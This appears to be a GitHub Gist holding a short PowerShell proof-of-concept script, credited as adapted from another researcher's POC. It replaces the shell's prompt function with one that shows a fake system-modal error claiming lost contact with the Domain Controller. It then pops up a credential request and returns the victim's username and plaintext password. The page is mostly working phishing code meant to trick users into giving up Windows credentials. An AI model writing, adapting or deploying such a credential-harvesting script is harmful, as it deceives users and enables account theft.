Skip to content

Instantly share code, notes, and snippets.



Last active Dec 1, 2015
What would you like to do?
# Stolen/adapted from
# POC from greg.foss[at]
function prompt {
Add-Type -AssemblyName Microsoft.VisualBasic
[Microsoft.VisualBasic.Interaction]::MsgBox('Lost contact with the Domain Controller.', 'OKOnly,MsgBoxSetForeground,SystemModal,Critical', 'ERROR - 0xA801B720')
$credential = $host.ui.PromptForCredential("Credentials Required", "Please enter your user name and password.", $c, "NetBiosUserName")
$c + ":" + $credential.GetNetworkCredential().password
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment